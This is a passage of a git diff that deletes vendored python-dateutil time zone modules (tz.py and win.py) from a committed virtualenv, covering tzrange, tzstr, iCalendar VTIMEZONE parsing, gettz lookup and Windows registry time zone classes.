self.is_ambiguous(dt, idx)) - - return idx - idx_offset - - def utcoffset(self, dt): - if dt is None: - return None - - if not self._ttinfo_std: - return ZERO - - return self._find_ttinfo(dt).delta - - def dst(self, dt): - if dt is None: - return None - - if not self._ttinfo_dst: - return ZERO - - tti = self._find_ttinfo(dt) - - if not tti.isdst: - return ZERO - - # The documentation says that utcoffset()-dst() must - # be constant for every dt. - return tti.dstoffset - - @tzname_in_python2 - def tzname(self, dt): - if not self._ttinfo_std or dt is None: - return None - return self._find_ttinfo(dt).abbr - - def __eq__(self, other): - if not isinstance(other, tzfile): - return NotImplemented - return (self._trans_list == other._trans_list and - self._trans_idx == other._trans_idx and - self._ttinfo_list == other._ttinfo_list) - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s(%s)" % (self.__class__.__name__, repr(self._filename)) - - def __reduce__(self): - return self.__reduce_ex__(None) - - def __reduce_ex__(self, protocol): - return (self.__class__, (None, self._filename), self.__dict__) - - -class tzrange(tzrangebase): - """ - The ``tzrange`` object is a time zone specified by a set of offsets and - abbreviations, equivalent to the way the ``TZ`` variable can be specified - in POSIX-like systems, but using Python delta objects to specify DST - start, end and offsets. - - :param stdabbr: - The abbreviation for standard time (e.g. ``'EST'``). - - :param stdoffset: - An integer or :class:`datetime.timedelta` object or equivalent - specifying the base offset from UTC. - - If unspecified, +00:00 is used. - - :param dstabbr: - The abbreviation for DST / "Summer" time (e.g. ``'EDT'``). - - If specified, with no other DST information, DST is assumed to occur - and the default behavior or ``dstoffset``, ``start`` and ``end`` is - used. If unspecified and no other DST information is specified, it - is assumed that this zone has no DST. - - If this is unspecified and other DST information is *is* specified, - DST occurs in the zone but the time zone abbreviation is left - unchanged. - - :param dstoffset: - A an integer or :class:`datetime.timedelta` object or equivalent - specifying the UTC offset during DST. If unspecified and any other DST - information is specified, it is assumed to be the STD offset +1 hour. - - :param start: - A :class:`relativedelta.relativedelta` object or equivalent specifying - the time and time of year that daylight savings time starts. To - specify, for example, that DST starts at 2AM on the 2nd Sunday in - March, pass: - - ``relativedelta(hours=2, month=3, day=1, weekday=SU(+2))`` - - If unspecified and any other DST information is specified, the default - value is 2 AM on the first Sunday in April. - - :param end: - A :class:`relativedelta.relativedelta` object or equivalent - representing the time and time of year that daylight savings time - ends, with the same specification method as in ``start``. One note is - that this should point to the first time in the *standard* zone, so if - a transition occurs at 2AM in the DST zone and the clocks are set back - 1 hour to 1AM, set the ``hours`` parameter to +1. - - - **Examples:** - - .. testsetup:: tzrange - - from dateutil.tz import tzrange, tzstr - - .. doctest:: tzrange - - >>> tzstr('EST5EDT') == tzrange("EST", -18000, "EDT") - True - - >>> from dateutil.relativedelta import * - >>> range1 = tzrange("EST", -18000, "EDT") - >>> range2 = tzrange("EST", -18000, "EDT", -14400, - ... relativedelta(hours=+2, month=4, day=1, - ... weekday=SU(+1)), - ... relativedelta(hours=+1, month=10, day=31, - ... weekday=SU(-1))) - >>> tzstr('EST5EDT') == range1 == range2 - True - - """ - def __init__(self, stdabbr, stdoffset=None, - dstabbr=None, dstoffset=None, - start=None, end=None): - - global relativedelta - from dateutil import relativedelta - - self._std_abbr = stdabbr - self._dst_abbr = dstabbr - - try: - stdoffset = stdoffset.total_seconds() - except (TypeError, AttributeError): - pass - - try: - dstoffset = dstoffset.total_seconds() - except (TypeError, AttributeError): - pass - - if stdoffset is not None: - self._std_offset = datetime.timedelta(seconds=stdoffset) - else: - self._std_offset = ZERO - - if dstoffset is not None: - self._dst_offset = datetime.timedelta(seconds=dstoffset) - elif dstabbr and stdoffset is not None: - self._dst_offset = self._std_offset + datetime.timedelta(hours=+1) - else: - self._dst_offset = ZERO - - if dstabbr and start is None: - self._start_delta = relativedelta.relativedelta( - hours=+2, month=4, day=1, weekday=relativedelta.SU(+1)) - else: - self._start_delta = start - - if dstabbr and end is None: - self._end_delta = relativedelta.relativedelta( - hours=+1, month=10, day=31, weekday=relativedelta.SU(-1)) - else: - self._end_delta = end - - self._dst_base_offset_ = self._dst_offset - self._std_offset - self.hasdst = bool(self._start_delta) - - def transitions(self, year): - """ - For a given year, get the DST on and off transition times, expressed - always on the standard time side. For zones with no transitions, this - function returns ``None``. - - :param year: - The year whose transitions you would like to query. - - :return: - Returns a :class:`tuple` of :class:`datetime.datetime` objects, - ``(dston, dstoff)`` for zones with an annual DST transition, or - ``None`` for fixed offset zones. - """ - if not self.hasdst: - return None - - base_year = datetime.datetime(year, 1, 1) - - start = base_year + self._start_delta - end = base_year + self._end_delta - - return (start, end) - - def __eq__(self, other): - if not isinstance(other, tzrange): - return NotImplemented - - return (self._std_abbr == other._std_abbr and - self._dst_abbr == other._dst_abbr and - self._std_offset == other._std_offset and - self._dst_offset == other._dst_offset and - self._start_delta == other._start_delta and - self._end_delta == other._end_delta) - - @property - def _dst_base_offset(self): - return self._dst_base_offset_ - - -@six.add_metaclass(_TzStrFactory) -class tzstr(tzrange): - """ - ``tzstr`` objects are time zone objects specified by a time-zone string as - it would be passed to a ``TZ`` variable on POSIX-style systems (see - the `GNU C Library: TZ Variable`_ for more details). - - There is one notable exception, which is that POSIX-style time zones use an - inverted offset format, so normally ``GMT+3`` would be parsed as an offset - 3 hours *behind* GMT. The ``tzstr`` time zone object will parse this as an - offset 3 hours *ahead* of GMT. If you would like to maintain the POSIX - behavior, pass a ``True`` value to ``posix_offset``. - - The :class:`tzrange` object provides the same functionality, but is - specified using :class:`relativedelta.relativedelta` objects. rather than - strings. - - :param s: - A time zone string in ``TZ`` variable format. This can be a - :class:`bytes` (2.x: :class:`str`), :class:`str` (2.x: - :class:`unicode`) or a stream emitting unicode characters - (e.g. :class:`StringIO`). - - :param posix_offset: - Optional. If set to ``True``, interpret strings such as ``GMT+3`` or - ``UTC+3`` as being 3 hours *behind* UTC rather than ahead, per the - POSIX standard. - - .. caution:: - - Prior to version 2.7.0, this function also supported time zones - in the format: - - * ``EST5EDT,4,0,6,7200,10,0,26,7200,3600`` - * ``EST5EDT,4,1,0,7200,10,-1,0,7200,3600`` - - This format is non-standard and has been deprecated; this function - will raise a :class:`DeprecatedTZFormatWarning` until - support is removed in a future version. - - .. _`GNU C Library: TZ Variable`: - https://www.gnu.org/software/libc/manual/html_node/TZ-Variable.html - """ - def __init__(self, s, posix_offset=False): - global parser - from dateutil.parser import _parser as parser - - self._s = s - - res = parser._parsetz(s) - if res is None or res.any_unused_tokens: - raise ValueError("unknown string format") - - # Here we break the compatibility with the TZ variable handling. - # GMT-3 actually *means* the timezone -3. - if res.stdabbr in ("GMT", "UTC") and not posix_offset: - res.stdoffset *= -1 - - # We must initialize it first, since _delta() needs - # _std_offset and _dst_offset set. Use False in start/end - # to avoid building it two times. - tzrange.__init__(self, res.stdabbr, res.stdoffset, - res.dstabbr, res.dstoffset, - start=False, end=False) - - if not res.dstabbr: - self._start_delta = None - self._end_delta = None - else: - self._start_delta = self._delta(res.start) - if self._start_delta: - self._end_delta = self._delta(res.end, isend=1) - - self.hasdst = bool(self._start_delta) - - def _delta(self, x, isend=0): - from dateutil import relativedelta - kwargs = {} - if x.month is not None: - kwargs["month"] = x.month - if x.weekday is not None: - kwargs["weekday"] = relativedelta.weekday(x.weekday, x.week) - if x.week > 0: - kwargs["day"] = 1 - else: - kwargs["day"] = 31 - elif x.day: - kwargs["day"] = x.day - elif x.yday is not None: - kwargs["yearday"] = x.yday - elif x.jyday is not None: - kwargs["nlyearday"] = x.jyday - if not kwargs: - # Default is to start on first sunday of april, and end - # on last sunday of october. - if not isend: - kwargs["month"] = 4 - kwargs["day"] = 1 - kwargs["weekday"] = relativedelta.SU(+1) - else: - kwargs["month"] = 10 - kwargs["day"] = 31 - kwargs["weekday"] = relativedelta.SU(-1) - if x.time is not None: - kwargs["seconds"] = x.time - else: - # Default is 2AM. - kwargs["seconds"] = 7200 - if isend: - # Convert to standard time, to follow the documented way - # of working with the extra hour. See the documentation - # of the tzinfo class. - delta = self._dst_offset - self._std_offset - kwargs["seconds"] -= delta.seconds + delta.days * 86400 - return relativedelta.relativedelta(**kwargs) - - def __repr__(self): - return "%s(%s)" % (self.__class__.__name__, repr(self._s)) - - -class _tzicalvtzcomp(object): - def __init__(self, tzoffsetfrom, tzoffsetto, isdst, - tzname=None, rrule=None): - self.tzoffsetfrom = datetime.timedelta(seconds=tzoffsetfrom) - self.tzoffsetto = datetime.timedelta(seconds=tzoffsetto) - self.tzoffsetdiff = self.tzoffsetto - self.tzoffsetfrom - self.isdst = isdst - self.tzname = tzname - self.rrule = rrule - - -class _tzicalvtz(_tzinfo): - def __init__(self, tzid, comps=[]): - super(_tzicalvtz, self).__init__() - - self._tzid = tzid - self._comps = comps - self._cachedate = [] - self._cachecomp = [] - self._cache_lock = _thread.allocate_lock() - - def _find_comp(self, dt): - if len(self._comps) == 1: - return self._comps[0] - - dt = dt.replace(tzinfo=None) - - try: - with self._cache_lock: - return self._cachecomp[self._cachedate.index( - (dt, self._fold(dt)))] - except ValueError: - pass - - lastcompdt = None - lastcomp = None - - for comp in self._comps: - compdt = self._find_compdt(comp, dt) - - if compdt and (not lastcompdt or lastcompdt < compdt): - lastcompdt = compdt - lastcomp = comp - - if not lastcomp: - # RFC says nothing about what to do when a given - # time is before the first onset date. We'll look for the - # first standard component, or the first component, if - # none is found. - for comp in self._comps: - if not comp.isdst: - lastcomp = comp - break - else: - lastcomp = comp[0] - - with self._cache_lock: - self._cachedate.insert(0, (dt, self._fold(dt))) - self._cachecomp.insert(0, lastcomp) - - if len(self._cachedate) > 10: - self._cachedate.pop() - self._cachecomp.pop() - - return lastcomp - - def _find_compdt(self, comp, dt): - if comp.tzoffsetdiff < ZERO and self._fold(dt): - dt -= comp.tzoffsetdiff - - compdt = comp.rrule.before(dt, inc=True) - - return compdt - - def utcoffset(self, dt): - if dt is None: - return None - - return self._find_comp(dt).tzoffsetto - - def dst(self, dt): - comp = self._find_comp(dt) - if comp.isdst: - return comp.tzoffsetdiff - else: - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - return self._find_comp(dt).tzname - - def __repr__(self): - return "" % repr(self._tzid) - - __reduce__ = object.__reduce__ - - -class tzical(object): - """ - This object is designed to parse an iCalendar-style ``VTIMEZONE`` structure - as set out in `RFC 5545`_ Section 4.6.5 into one or more `tzinfo` objects. - - :param `fileobj`: - A file or stream in iCalendar format, which should be UTF-8 encoded - with CRLF endings. - - .. _`RFC 5545`: https://tools.ietf.org/html/rfc5545 - """ - def __init__(self, fileobj): - global rrule - from dateutil import rrule - - if isinstance(fileobj, string_types): - self._s = fileobj - # ical should be encoded in UTF-8 with CRLF - fileobj = open(fileobj, 'r') - else: - self._s = getattr(fileobj, 'name', repr(fileobj)) - fileobj = _nullcontext(fileobj) - - self._vtz = {} - - with fileobj as fobj: - self._parse_rfc(fobj.read()) - - def keys(self): - """ - Retrieves the available time zones as a list. - """ - return list(self._vtz.keys()) - - def get(self, tzid=None): - """ - Retrieve a :py:class:`datetime.tzinfo` object by its ``tzid``. - - :param tzid: - If there is exactly one time zone available, omitting ``tzid`` - or passing :py:const:`None` value returns it. Otherwise a valid - key (which can be retrieved from :func:`keys`) is required. - - :raises ValueError: - Raised if ``tzid`` is not specified but there are either more - or fewer than 1 zone defined. - - :returns: - Returns either a :py:class:`datetime.tzinfo` object representing - the relevant time zone or :py:const:`None` if the ``tzid`` was - not found. - """ - if tzid is None: - if len(self._vtz) == 0: - raise ValueError("no timezones defined") - elif len(self._vtz) > 1: - raise ValueError("more than one timezone available") - tzid = next(iter(self._vtz)) - - return self._vtz.get(tzid) - - def _parse_offset(self, s): - s = s.strip() - if not s: - raise ValueError("empty offset") - if s[0] in ('+', '-'): - signal = (-1, +1)[s[0] == '+'] - s = s[1:] - else: - signal = +1 - if len(s) == 4: - return (int(s[:2]) * 3600 + int(s[2:]) * 60) * signal - elif len(s) == 6: - return (int(s[:2]) * 3600 + int(s[2:4]) * 60 + int(s[4:])) * signal - else: - raise ValueError("invalid offset: " + s) - - def _parse_rfc(self, s): - lines = s.splitlines() - if not lines: - raise ValueError("empty string") - - # Unfold - i = 0 - while i < len(lines): - line = lines[i].rstrip() - if not line: - del lines[i] - elif i > 0 and line[0] == " ": - lines[i-1] += line[1:] - del lines[i] - else: - i += 1 - - tzid = None - comps = [] - invtz = False - comptype = None - for line in lines: - if not line: - continue - name, value = line.split(':', 1) - parms = name.split(';') - if not parms: - raise ValueError("empty property name") - name = parms[0].upper() - parms = parms[1:] - if invtz: - if name == "BEGIN": - if value in ("STANDARD", "DAYLIGHT"): - # Process component - pass - else: - raise ValueError("unknown component: "+value) - comptype = value - founddtstart = False - tzoffsetfrom = None - tzoffsetto = None - rrulelines = [] - tzname = None - elif name == "END": - if value == "VTIMEZONE": - if comptype: - raise ValueError("component not closed: "+comptype) - if not tzid: - raise ValueError("mandatory TZID not found") - if not comps: - raise ValueError( - "at least one component is needed") - # Process vtimezone - self._vtz[tzid] = _tzicalvtz(tzid, comps) - invtz = False - elif value == comptype: - if not founddtstart: - raise ValueError("mandatory DTSTART not found") - if tzoffsetfrom is None: - raise ValueError( - "mandatory TZOFFSETFROM not found") - if tzoffsetto is None: - raise ValueError( - "mandatory TZOFFSETFROM not found") - # Process component - rr = None - if rrulelines: - rr = rrule.rrulestr("\n".join(rrulelines), - compatible=True, - ignoretz=True, - cache=True) - comp = _tzicalvtzcomp(tzoffsetfrom, tzoffsetto, - (comptype == "DAYLIGHT"), - tzname, rr) - comps.append(comp) - comptype = None - else: - raise ValueError("invalid component end: "+value) - elif comptype: - if name == "DTSTART": - # DTSTART in VTIMEZONE takes a subset of valid RRULE - # values under RFC 5545. - for parm in parms: - if parm != 'VALUE=DATE-TIME': - msg = ('Unsupported DTSTART param in ' + - 'VTIMEZONE: ' + parm) - raise ValueError(msg) - rrulelines.append(line) - founddtstart = True - elif name in ("RRULE", "RDATE", "EXRULE", "EXDATE"): - rrulelines.append(line) - elif name == "TZOFFSETFROM": - if parms: - raise ValueError( - "unsupported %s parm: %s " % (name, parms[0])) - tzoffsetfrom = self._parse_offset(value) - elif name == "TZOFFSETTO": - if parms: - raise ValueError( - "unsupported TZOFFSETTO parm: "+parms[0]) - tzoffsetto = self._parse_offset(value) - elif name == "TZNAME": - if parms: - raise ValueError( - "unsupported TZNAME parm: "+parms[0]) - tzname = value - elif name == "COMMENT": - pass - else: - raise ValueError("unsupported property: "+name) - else: - if name == "TZID": - if parms: - raise ValueError( - "unsupported TZID parm: "+parms[0]) - tzid = value - elif name in ("TZURL", "LAST-MODIFIED", "COMMENT"): - pass - else: - raise ValueError("unsupported property: "+name) - elif name == "BEGIN" and value == "VTIMEZONE": - tzid = None - comps = [] - invtz = True - - def __repr__(self): - return "%s(%s)" % (self.__class__.__name__, repr(self._s)) - - -if sys.platform != "win32": - TZFILES = ["/etc/localtime", "localtime"] - TZPATHS = ["/usr/share/zoneinfo", - "/usr/lib/zoneinfo", - "/usr/share/lib/zoneinfo", - "/etc/zoneinfo"] -else: - TZFILES = [] - TZPATHS = [] - - -def __get_gettz(): - tzlocal_classes = (tzlocal,) - if tzwinlocal is not None: - tzlocal_classes += (tzwinlocal,) - - class GettzFunc(object): - """ - Retrieve a time zone object from a string representation - - This function is intended to retrieve the :py:class:`tzinfo` subclass - that best represents the time zone that would be used if a POSIX - `TZ variable`_ were set to the same value. - - If no argument or an empty string is passed to ``gettz``, local time - is returned: - - .. code-block:: python3 - - >>> gettz() - tzfile('/etc/localtime') - - This function is also the preferred way to map IANA tz database keys - to :class:`tzfile` objects: - - .. code-block:: python3 - - >>> gettz('Pacific/Kiritimati') - tzfile('/usr/share/zoneinfo/Pacific/Kiritimati') - - On Windows, the standard is extended to include the Windows-specific - zone names provided by the operating system: - - .. code-block:: python3 - - >>> gettz('Egypt Standard Time') - tzwin('Egypt Standard Time') - - Passing a GNU ``TZ`` style string time zone specification returns a - :class:`tzstr` object: - - .. code-block:: python3 - - >>> gettz('AEST-10AEDT-11,M10.1.0/2,M4.1.0/3') - tzstr('AEST-10AEDT-11,M10.1.0/2,M4.1.0/3') - - :param name: - A time zone name (IANA, or, on Windows, Windows keys), location of - a ``tzfile(5)`` zoneinfo file or ``TZ`` variable style time zone - specifier. An empty string, no argument or ``None`` is interpreted - as local time. - - :return: - Returns an instance of one of ``dateutil``'s :py:class:`tzinfo` - subclasses. - - .. versionchanged:: 2.7.0 - - After version 2.7.0, any two calls to ``gettz`` using the same - input strings will return the same object: - - .. code-block:: python3 - - >>> tz.gettz('America/Chicago') is tz.gettz('America/Chicago') - True - - In addition to improving performance, this ensures that - `"same zone" semantics`_ are used for datetimes in the same zone. - - - .. _`TZ variable`: - https://www.gnu.org/software/libc/manual/html_node/TZ-Variable.html - - .. _`"same zone" semantics`: - https://blog.ganssle.io/articles/2018/02/aware-datetime-arithmetic.html - """ - def __init__(self): - - self.__instances = weakref.WeakValueDictionary() - self.__strong_cache_size = 8 - self.__strong_cache = OrderedDict() - self._cache_lock = _thread.allocate_lock() - - def __call__(self, name=None): - with self._cache_lock: - rv = self.__instances.get(name, None) - - if rv is None: - rv = self.nocache(name=name) - if not (name is None - or isinstance(rv, tzlocal_classes) - or rv is None): - # tzlocal is slightly more complicated than the other - # time zone providers because it depends on environment - # at construction time, so don't cache that. - # - # We also cannot store weak references to None, so we - # will also not store that. - self.__instances[name] = rv - else: - # No need for strong caching, return immediately - return rv - - self.__strong_cache[name] = self.__strong_cache.pop(name, rv) - - if len(self.__strong_cache) > self.__strong_cache_size: - self.__strong_cache.popitem(last=False) - - return rv - - def set_cache_size(self, size): - with self._cache_lock: - self.__strong_cache_size = size - while len(self.__strong_cache) > size: - self.__strong_cache.popitem(last=False) - - def cache_clear(self): - with self._cache_lock: - self.__instances = weakref.WeakValueDictionary() - self.__strong_cache.clear() - - @staticmethod - def nocache(name=None): - """A non-cached version of gettz""" - tz = None - if not name: - try: - name = os.environ["TZ"] - except KeyError: - pass - if name is None or name in ("", ":"): - for filepath in TZFILES: - if not os.path.isabs(filepath): - filename = filepath - for path in TZPATHS: - filepath = os.path.join(path, filename) - if os.path.isfile(filepath): - break - else: - continue - if os.path.isfile(filepath): - try: - tz = tzfile(filepath) - break - except (IOError, OSError, ValueError): - pass - else: - tz = tzlocal() - else: - try: - if name.startswith(":"): - name = name[1:] - except TypeError as e: - if isinstance(name, bytes): - new_msg = "gettz argument should be str, not bytes" - six.raise_from(TypeError(new_msg), e) - else: - raise - if os.path.isabs(name): - if os.path.isfile(name): - tz = tzfile(name) - else: - tz = None - else: - for path in TZPATHS: - filepath = os.path.join(path, name) - if not os.path.isfile(filepath): - filepath = filepath.replace(' ', '_') - if not os.path.isfile(filepath): - continue - try: - tz = tzfile(filepath) - break - except (IOError, OSError, ValueError): - pass - else: - tz = None - if tzwin is not None: - try: - tz = tzwin(name) - except (WindowsError, UnicodeEncodeError): - # UnicodeEncodeError is for Python 2.7 compat - tz = None - - if not tz: - from dateutil.zoneinfo import get_zonefile_instance - tz = get_zonefile_instance().get(name) - - if not tz: - for c in name: - # name is not a tzstr unless it has at least - # one offset. For short values of "name", an - # explicit for loop seems to be the fastest way - # To determine if a string contains a digit - if c in "0123456789": - try: - tz = tzstr(name) - except ValueError: - pass - break - else: - if name in ("GMT", "UTC"): - tz = UTC - elif name in time.tzname: - tz = tzlocal() - return tz - - return GettzFunc() - - -gettz = __get_gettz() -del __get_gettz - - -def datetime_exists(dt, tz=None): - """ - Given a datetime and a time zone, determine whether or not a given datetime - would fall in a gap. - - :param dt: - A :class:`datetime.datetime` (whose time zone will be ignored if ``tz`` - is provided.) - - :param tz: - A :class:`datetime.tzinfo` with support for the ``fold`` attribute. If - ``None`` or not provided, the datetime's own time zone will be used. - - :return: - Returns a boolean value whether or not the "wall time" exists in - ``tz``. - - .. versionadded:: 2.7.0 - """ - if tz is None: - if dt.tzinfo is None: - raise ValueError('Datetime is naive and no time zone provided.') - tz = dt.tzinfo - - dt = dt.replace(tzinfo=None) - - # This is essentially a test of whether or not the datetime can survive - # a round trip to UTC. - dt_rt = dt.replace(tzinfo=tz).astimezone(UTC).astimezone(tz) - dt_rt = dt_rt.replace(tzinfo=None) - - return dt == dt_rt - - -def datetime_ambiguous(dt, tz=None): - """ - Given a datetime and a time zone, determine whether or not a given datetime - is ambiguous (i.e if there are two times differentiated only by their DST - status). - - :param dt: - A :class:`datetime.datetime` (whose time zone will be ignored if ``tz`` - is provided.) - - :param tz: - A :class:`datetime.tzinfo` with support for the ``fold`` attribute. If - ``None`` or not provided, the datetime's own time zone will be used. - - :return: - Returns a boolean value whether or not the "wall time" is ambiguous in - ``tz``. - - .. versionadded:: 2.6.0 - """ - if tz is None: - if dt.tzinfo is None: - raise ValueError('Datetime is naive and no time zone provided.') - - tz = dt.tzinfo - - # If a time zone defines its own "is_ambiguous" function, we'll use that. - is_ambiguous_fn = getattr(tz, 'is_ambiguous', None) - if is_ambiguous_fn is not None: - try: - return tz.is_ambiguous(dt) - except Exception: - pass - - # If it doesn't come out and tell us it's ambiguous, we'll just check if - # the fold attribute has any effect on this particular date and time. - dt = dt.replace(tzinfo=tz) - wall_0 = enfold(dt, fold=0) - wall_1 = enfold(dt, fold=1) - - same_offset = wall_0.utcoffset() == wall_1.utcoffset() - same_dst = wall_0.dst() == wall_1.dst() - - return not (same_offset and same_dst) - - -def resolve_imaginary(dt): - """ - Given a datetime that may be imaginary, return an existing datetime. - - This function assumes that an imaginary datetime represents what the - wall time would be in a zone had the offset transition not occurred, so - it will always fall forward by the transition's change in offset. - - .. doctest:: - - >>> from dateutil import tz - >>> from datetime import datetime - >>> NYC = tz.gettz('America/New_York') - >>> print(tz.resolve_imaginary(datetime(2017, 3, 12, 2, 30, tzinfo=NYC))) - 2017-03-12 03:30:00-04:00 - - >>> KIR = tz.gettz('Pacific/Kiritimati') - >>> print(tz.resolve_imaginary(datetime(1995, 1, 1, 12, 30, tzinfo=KIR))) - 1995-01-02 12:30:00+14:00 - - As a note, :func:`datetime.astimezone` is guaranteed to produce a valid, - existing datetime, so a round-trip to and from UTC is sufficient to get - an extant datetime, however, this generally "falls back" to an earlier time - rather than falling forward to the STD side (though no guarantees are made - about this behavior). - - :param dt: - A :class:`datetime.datetime` which may or may not exist. - - :return: - Returns an existing :class:`datetime.datetime`. If ``dt`` was not - imaginary, the datetime returned is guaranteed to be the same object - passed to the function. - - .. versionadded:: 2.7.0 - """ - if dt.tzinfo is not None and not datetime_exists(dt): - - curr_offset = (dt + datetime.timedelta(hours=24)).utcoffset() - old_offset = (dt - datetime.timedelta(hours=24)).utcoffset() - - dt += curr_offset - old_offset - - return dt - - -def _datetime_to_timestamp(dt): - """ - Convert a :class:`datetime.datetime` object to an epoch timestamp in - seconds since January 1, 1970, ignoring the time zone. - """ - return (dt.replace(tzinfo=None) - EPOCH).total_seconds() - - -if sys.version_info >= (3, 6): - def _get_supported_offset(second_offset): - return second_offset -else: - def _get_supported_offset(second_offset): - # For python pre-3.6, round to full-minutes if that's not the case. - # Python's datetime doesn't accept sub-minute timezones. Check - # http://python.org/sf/1447945 or https://bugs.python.org/issue5288 - # for some information. - old_offset = second_offset - calculated_offset = 60 * ((second_offset + 30) // 60) - return calculated_offset - - -try: - # Python 3.7 feature - from contextlib import nullcontext as _nullcontext -except ImportError: - class _nullcontext(object): - """ - Class for wrapping contexts so that they are passed through in a - with statement. - """ - def __init__(self, context): - self.context = context - - def __enter__(self): - return self.context - - def __exit__(*args, **kwargs): - pass - -# vim:ts=4:sw=4:et diff --git a/backend/venv/Lib/site-packages/dateutil/tz/win.py b/backend/venv/Lib/site-packages/dateutil/tz/win.py deleted file mode 100644 index cde07ba7..00000000 --- a/backend/venv/Lib/site-packages/dateutil/tz/win.py +++ /dev/null @@ -1,370 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module provides an interface to the native time zone data on Windows, -including :py:class:`datetime.tzinfo` implementations. - -Attempting to import this module on a non-Windows platform will raise an -:py:obj:`ImportError`. -""" -# This code was originally contributed by Jeffrey Harris. -import datetime -import struct - -from six.moves import winreg -from six import text_type - -try: - import ctypes - from ctypes import wintypes -except ValueError: - # ValueError is raised on non-Windows systems for some horrible reason. - raise ImportError("Running tzwin on non-Windows system") - -from ._common import tzrangebase - -__all__ = ["tzwin", "tzwinlocal", "tzres"] - -ONEWEEK = datetime.timedelta(7) - -TZKEYNAMENT = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" -TZKEYNAME9X = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones" -TZLOCALKEYNAME = r"SYSTEM\CurrentControlSet\Control\TimeZoneInformation" - - -def _settzkeyname(): - handle = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) - try: - winreg.OpenKey(handle, TZKEYNAMENT).Close() - TZKEYNAME = TZKEYNAMENT - except WindowsError: - TZKEYNAME = TZKEYNAME9X - handle.Close() - return TZKEYNAME - - -TZKEYNAME = _settzkeyname() - - -class tzres(object): - """ - Class for accessing ``tzres.dll``, which contains timezone name related - resources. - - .. versionadded:: 2.5.0 - """ - p_wchar = ctypes.POINTER(wintypes.WCHAR) # Pointer to a wide char - - def __init__(self, tzres_loc='tzres.dll'): - # Load the user32 DLL so we can load strings from tzres - user32 = ctypes.WinDLL('user32') - - # Specify the LoadStringW function - user32.LoadStringW.argtypes = (wintypes.HINSTANCE, - wintypes.UINT, - wintypes.LPWSTR, - ctypes.c_int) - - self.LoadStringW = user32.LoadStringW - self._tzres = ctypes.WinDLL(tzres_loc) - self.tzres_loc = tzres_loc - - def load_name(self, offset): - """ - Load a timezone name from a DLL offset (integer). - - >>> from dateutil.tzwin import tzres - >>> tzr = tzres() - >>> print(tzr.load_name(112)) - 'Eastern Standard Time' - - :param offset: - A positive integer value referring to a string from the tzres dll. - - .. note:: - - Offsets found in the registry are generally of the form - ``@tzres.dll,-114``. The offset in this case is 114, not -114. - - """ - resource = self.p_wchar() - lpBuffer = ctypes.cast(ctypes.byref(resource), wintypes.LPWSTR) - nchar = self.LoadStringW(self._tzres._handle, offset, lpBuffer, 0) - return resource[:nchar] - - def name_from_string(self, tzname_str): - """ - Parse strings as returned from the Windows registry into the time zone - name as defined in the registry. - - >>> from dateutil.tzwin import tzres - >>> tzr = tzres() - >>> print(tzr.name_from_string('@tzres.dll,-251')) - 'Dateline Daylight Time' - >>> print(tzr.name_from_string('Eastern Standard Time')) - 'Eastern Standard Time' - - :param tzname_str: - A timezone name string as returned from a Windows registry key. - - :return: - Returns the localized timezone string from tzres.dll if the string - is of the form `@tzres.dll,-offset`, else returns the input string. - """ - if not tzname_str.startswith('@'): - return tzname_str - - name_splt = tzname_str.split(',-') - try: - offset = int(name_splt[1]) - except: - raise ValueError("Malformed timezone string.") - - return self.load_name(offset) - - -class tzwinbase(tzrangebase): - """tzinfo class based on win32's timezones available in the registry.""" - def __init__(self): - raise NotImplementedError('tzwinbase is an abstract base class') - - def __eq__(self, other): - # Compare on all relevant dimensions, including name. - if not isinstance(other, tzwinbase): - return NotImplemented - - return (self._std_offset == other._std_offset and - self._dst_offset == other._dst_offset and - self._stddayofweek == other._stddayofweek and - self._dstdayofweek == other._dstdayofweek and - self._stdweeknumber == other._stdweeknumber and - self._dstweeknumber == other._dstweeknumber and - self._stdhour == other._stdhour and - self._dsthour == other._dsthour and - self._stdminute == other._stdminute and - self._dstminute == other._dstminute and - self._std_abbr == other._std_abbr and - self._dst_abbr == other._dst_abbr) - - @staticmethod - def list(): - """Return a list of all time zones known to the system.""" - with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle: - with winreg.OpenKey(handle, TZKEYNAME) as tzkey: - result = [winreg.EnumKey(tzkey, i) - for i in range(winreg.QueryInfoKey(tzkey)[0])] - return result - - def display(self): - """ - Return the display name of the time zone. - """ - return self._display - - def transitions(self, year): - """ - For a given year, get the DST on and off transition times, expressed - always on the standard time side. For zones with no transitions, this - function returns ``None``. - - :param year: - The year whose transitions you would like to query. - - :return: - Returns a :class:`tuple` of :class:`datetime.datetime` objects, - ``(dston, dstoff)`` for zones with an annual DST transition, or - ``None`` for fixed offset zones. - """ - - if not self.hasdst: - return None - - dston = picknthweekday(year, self._dstmonth, self._dstdayofweek, - self._dsthour, self._dstminute, - self._dstweeknumber) - - dstoff = picknthweekday(year, self._stdmonth, self._stddayofweek, - self._stdhour, self._stdminute, - self._stdweeknumber) - - # Ambiguous dates default to the STD side - dstoff -= self._dst_base_offset - - return dston, dstoff - - def _get_hasdst(self): - return self._dstmonth != 0 - - @property - def _dst_base_offset(self): - return self._dst_base_offset_ - - -class tzwin(tzwinbase): - """ - Time zone object created from the zone info in the Windows registry - - These are similar to :py:class:`dateutil.tz.tzrange` objects in that - the time zone data is provided in the format of a single offset rule - for either 0 or 2 time zone transitions per year. - - :param: name - The name of a Windows time zone key, e.g. "Eastern Standard Time". - The full list of keys can be retrieved with :func:`tzwin.list`. - """ - - def __init__(self, name): - self._name = name - - with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle: - tzkeyname = text_type("{kn}\\{name}").format(kn=TZKEYNAME, name=name) - with winreg.OpenKey(handle, tzkeyname) as tzkey: - keydict = valuestodict(tzkey) - - self._std_abbr = keydict["Std"] - self._dst_abbr = keydict["Dlt"] - - self._display = keydict["Display"] - - # See http://ww_winreg.jsiinc.com/SUBA/tip0300/rh0398.htm - tup = struct.unpack("=3l16h", keydict["TZI"]) - stdoffset = -tup[0]-tup[1] # Bias + StandardBias * -1 - dstoffset = stdoffset-tup[2] # + DaylightBias * -1 - self._std_offset = datetime.timedelta(minutes=stdoffset) - self._dst_offset = datetime.timedelta(minutes=dstoffset) - - # for the meaning see the win32 TIME_ZONE_INFORMATION structure docs - # 